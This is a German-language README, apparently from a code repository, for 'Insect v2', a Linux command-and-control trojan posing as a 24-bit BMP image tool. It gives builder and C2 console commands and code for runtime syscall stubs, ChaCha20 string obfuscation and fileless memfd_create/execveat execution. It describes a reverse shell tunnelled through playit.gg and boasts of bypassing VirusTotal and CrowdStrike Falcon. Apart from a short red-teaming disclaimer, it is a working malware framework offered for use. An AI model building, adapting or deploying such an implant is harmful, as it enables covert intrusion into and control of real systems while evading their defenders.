
Ein fileless Reverse Shell- und C2-Framework, das direkte Syscalls, Proxy-Tunneling und ChaCha20-Verschlüsselung zur AV-Umgehung nutzt.
Insect ist ein C2-Trojaner für fileless Reverse-Shell- & Beacon-Linux-Payloads. Dieser Trojaner tarnt sich als 24-Bit-BMP-Bildverarbeitungsprogramm. Er verwendet Dynamic Syscall Stubs, memfd_create, ChaCha20-verschlüsselte String-Ressourcen, Tunnel-Proxy und ICC Profile Encryptor, um statische Analyse zu umgehen. Der C2-Server unterstützt 2 Arten von Payloads, interactive und beacon.
Manuelles Syscall-Crafting ist eine alte Technik, aber für Insect v2 habe ich die Art und Weise verfeinert, wie Stubs zur Laufzeit erstellt werden, um unter dem Radar moderner Scanner zu bleiben. Durch die dynamische Konstruktion von Syscalls vermeidet der Payload die Standard-Signaturen, die statische AVs typischerweise erkennen.
In realen Tests umging er erfolgreich jede Engine auf VirusTotal. Ich habe ihn auch gegen CrowdStrike Falcon getestet, wo er eine "grüne Flagge" ohne Erkennungen durch die statische Engine erhielt. Während der dynamischen Analyse löste er nur einen geringfügigen Verdacht aus und wurde letztendlich ebenfalls als sicher eingestuft.
Haftungsausschluss: Insect V2 ist ein Work in Progress, außerdem billige ich keine illegalen Aktivitäten, du kannst es frei für Red-Teaming-Zwecke verwenden. Und es modifizieren.
server.py → multi-session C2 console
main.c → revshell implant (interactive shell)
main_beacon.c → beacon implant (task-driven polling)
Wir haben 2 Profile:
# Interactive reverse shell
python3 builder.py --profile revshell --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
# Task-driven beacon
python3 builder.py --profile beacon --host <C2_IP> --port <C2_PORT> --domain <TUNNEL_DOMAIN>
Beide erzeugen eine bmputil-Binärdatei. Der Builder verschlüsselt alle Klartext-Strings zur Build-Zeit mit ChaCha20, verschlüsselt das kompilierte ELF mit einer ICC-Profil-Maske, teilt es über benannte ELF-Sektionen auf und generiert einen Loader-Stub.
python3 server.py
Startet standardmäßig einen Listener auf 0.0.0.0:8080.
(insect) > list # show active sessions
(insect) > use rev-a1b2c3d4 # interact with a revshell
(insect) > task bea-deadbeef whoami # queue a command for a beacon
(insect) > tasks bea-deadbeef # view completed task results
(insect) > listen beacon 0.0.0.0 9090 # start an additional listener
(insect) > exit
Sessions werden über eine eindeutige 4-Byte-statische ID verfolgt, die zur Build-Zeit eingebettet wird.
Bei der Ausführung auf der Zielmaschine akzeptiert der Payload Dummy-Argumente, um die Legitimität zu wahren:
./bmputil input.bmp output.bmp --grayscale
Unter der Haube forkt er, verbindet sich über einen Minecraft-Handshake-Tunnel (playit.gg) zurück zum C2 und wartet auf einen 0xDEAD-Trigger. Sobald ausgelöst, leitet er stdin/stdout/stderr an den Socket um und startet /bin/sh.
Der C2-Server hält Revshell-Verbindungen in einer Session-Registry. Verwende use <id>, um dein Terminal an eine Session anzuhängen.
Beacons verbinden sich, registrieren sich mit ihrer eingebetteten beacon_id, prüfen auf ausstehende Tasks, führen sie über fork + pipe + execve aus, melden Ergebnisse zurück, schlafen dann 30 Sekunden und verbinden sich erneut.
Verwende task <id> <command>, um Arbeit in die Warteschlange zu stellen. Ergebnisse werden im Speicher gespeichert und mit tasks <id> angezeigt.
Beide Profile teilen dieselben Evasion-Primitive:
uint8_t stub[] = {
0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6,
0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8,
0x0f, 0x05, 0xc3
};
memcpy(buf + payload_size, stub, sizeof(stub));
long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size);
Wie bereits erwähnt, werden die Syscall-Opcodes (0F 05) zur Laufzeit in ausführbarem Speicher konstruiert, um statische Analyse zu vermeiden.
static void _transform_resource(
const uint8_t *in, uint8_t *out, int len,
const uint8_t nce[8], int add_null
) {
uint32_t state[16] = {
0x61707865 ^ __CHACHA_MASK__, 0x3320646e ^ __CHACHA_MASK__, // chacha_mask = random.randint(0x10000000, 0x7FFFFFFF)
// ...
};
}
Jeder String wird zur Build-Zeit mit einem eindeutigen Nonce verschlüsselt. Die XOR-Maske auf den State-Konstanten blockiert signaturbasierte Erkennungen des ChaCha20-Setups.
long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0);
if (fd >= 0) {
_sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0);
long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0);
if (p == 0) {
char *args[] = { (char *)APP_NAME, NULL };
_sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0);
_sys(SYS_EXIT, 1, 0, 0, 0, 0, 0);
}
_sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0);
}
Der Payload wird vollständig aus dem Speicher über memfd_create + execveat ausgeführt.
Technisch gesehen werden memfd_create und execveat von AVs erkannt, aber sie sind verschlüsselt und werden zur Laufzeit erstellt, und überraschenderweise wird es in realen Tests nicht geflaggt.
Das intermediäre ELF wird mit einer gamma-korrigierten ICC-Farb-Lookup-Tabelle und einem zufälligen 32-Byte-Schlüssel XOR-verschlüsselt und dann über 8 benannte .rodata.blk*-Sektionen aufgeteilt. Der Loader-Stub setzt es wieder zusammen, entschlüsselt es und führt es aus.
Diese Methode ist nichts Neues, vielmehr ist es eine alte Technik, aber Insect v2 modifiziert und reimplementiert Techniken, die in verschiedenen Security-Writeups und Malwares erwähnt werden, du kannst sie dir hier ansehen: